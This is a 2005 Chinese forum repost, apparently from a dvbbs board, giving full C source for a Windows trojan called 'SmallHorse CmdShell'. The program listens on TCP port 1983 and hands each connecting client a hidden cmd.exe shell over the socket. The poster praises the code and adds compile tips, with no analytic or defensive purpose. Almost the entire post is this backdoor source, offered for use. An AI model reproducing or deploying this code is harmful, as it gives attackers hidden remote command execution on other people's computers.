dvbbs
收藏本页
联系我们
论坛帮助
dvbbs

堕落街论坛休闲之乐游戏体育 → [转帖]一段木马的源代码


  共有259人关注过本帖树形打印

主题:[转帖]一段木马的源代码

帅哥哟,离线,有人找我吗?
我最简单
  1楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级:高二 主题:80 精华:0 贴子:1037 排名:9684 威望:17 排名:87 注册:2003/11/20 16:10:00 近访:2010/1/17 19:56:52
[转帖]一段木马的源代码  发贴心情 Post By:2005/4/23 8:24:00

#include<winsock2.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
int port=1983;
DWORD WINAPI ClientThread(LPVOID lpParam);
void Help()
{printf(" /***************************************\\\n");
printf(" |This SmallHorse's First CMDSHELL V0.1 |\n");
printf(" |Thanks For Using It! |\n");
printf(" |SmallHorse [E.S.T] VIP 2005.03 |\n");
printf(" |***************************************|\n");
printf(" |usage:smallhorse [-p port] |\n");
printf(" | port: Port Number To Listen On |\n");
printf(" | Default Port Is 1983 |\n");
printf(" |***************************************|\n);
return;
}


void OpenDoor()
{
// 初始化 Winsock.
WSADATA wsaData;
SOCKET m_socket,AcceptClient;
sockaddr_in Service,Client;
int ClientSize,i=0;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
return;

// 创建一个 socket.

m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if(m_socket==SOCKET_ERROR)
return;
Service.sin_family = AF_INET;
Service.sin_addr.s_addr = htonl(INADDR_ANY);
Service.sin_port = htons( port );

if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
return;//邦定

if (listen(m_socket,5)==SOCKET_ERROR)
return;//最大监听列队5个
printf("\nsmallhorse Listen On Port: %d... ^*^\n",port);
ClientSize=sizeof(Client);
while(1)
{
AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);
if(AcceptClient==SOCKET_ERROR)
return;//接受连接
printf( "Client Connected.\n");
char *sendbuf = "/***************************************\\\n\tThanks For Using...\n\tSmallHorse's CmdShell!\n\tGood Luck!\n\\***************************************/\n\n";
send( AcceptClient, sendbuf, strlen(sendbuf), 0 );

if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
printf("Create Thread Error!\n");
Sleep(1000);
}
WSACleanup();
return;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;

SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;

ret=CreatePipe(&Rpipe,&Rfile,&sa,0);
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道,分别用于接收命令和显示结果

STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;
startinfo.hStdError=startinfo.hStdOutput=Rfile;
startinfo.wShowWindow=SW_HIDE;

char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
strcat(cmdline,("\\cmd.exe"));

PROCESS_INFORMATION proinfo;
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
unsigned long ByteRec;
while(1)
{
Sleep(100);
PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
if(ByteRec){
ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);
if(!ret)
break;
ret=send(AcceptClient,Buf,ByteRec,0);
if(ret<=0)
break;
}
else{
ByteRec=recv(AcceptClient,Buf,1024,0);
if(ByteRec<=0)
break;
ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);
if(!ret)
break;
}
}
return 0;
}
int main(int argc, char *argv[])
{
Help();
if(argc==3)
if(!strcmp(argv[1],"-p"))
port=atoi(argv[2]);
OpenDoor();
return 0;
}

是用c写出来的,感觉不错

调用了winsock2.h包,请自己在用c编辑器的时候加入

如果用vc6调试的话,就不需要了,因为vc6里就带了

[此贴子已经被作者于2005-4-23 8:30:57编辑过]


      持身涉世,不可随境而迁.须是大火流金而清风穆然,严霜杀物而和气蔼然,阴霾翳空而慧日朗然,洪涛倒海而坻柱屹然,方是宇宙内的真人品.爱是万缘之根,当知割舍.识是众欲之本,要力扫除.作人要脱俗,不可存一矫俗之心;应世要随时,不可起一趋时之念.

<PS:我是流民!>

支持(0中立(0反对(0回到顶部